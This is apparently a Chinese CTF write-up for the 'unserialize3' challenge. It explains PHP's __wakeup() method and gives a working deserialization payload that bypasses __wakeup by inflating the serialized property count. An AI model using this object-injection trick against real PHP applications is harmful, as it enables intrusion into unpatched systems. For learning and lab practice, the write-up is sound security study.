攻防世界 unserialize3
打开之后是个代码审计
还是先看一眼unserialize是个啥吧
注意
__wakeup()函数用法:wakeup()是用在反序列化操作中。unserialize()会检查存在一个wakeup()方法。如果存在,则先会调用__wakeup()方法。
像下面的这个,他的输出就是hello,而不是反序列化后的值
<?php
class A{
function __wakeup(){
echo 'Hello';
}
}
$c = new A();
$d=unserialize('O:1:"A":0:{}');
?>
明白这些就可以开始看题了
题目的意思就是要我们想办法绕过wakeup(),
而wakeup()的漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。
<?php
class xctf{ //定义一个类
public $flag = '111'; //定义一个公有属性
public function __wakeup(){ //定义一个公有方法
exit('bad requests'); //输出bad requests后退出当前脚本
}
}
$content = new xctf(); //使用new运算符来实例化该类的对象content
echo serialize($content); //输出被序列化的对象content
//输出这个类的序列化,也就是把一个类转化成一个字符串
//wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//xctf后的1就代表了属性个数,只需修改1就可以绕过——wakeup()
?>
上面代码理解后再来看题,接下来就是构造?code,最后得到flag
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}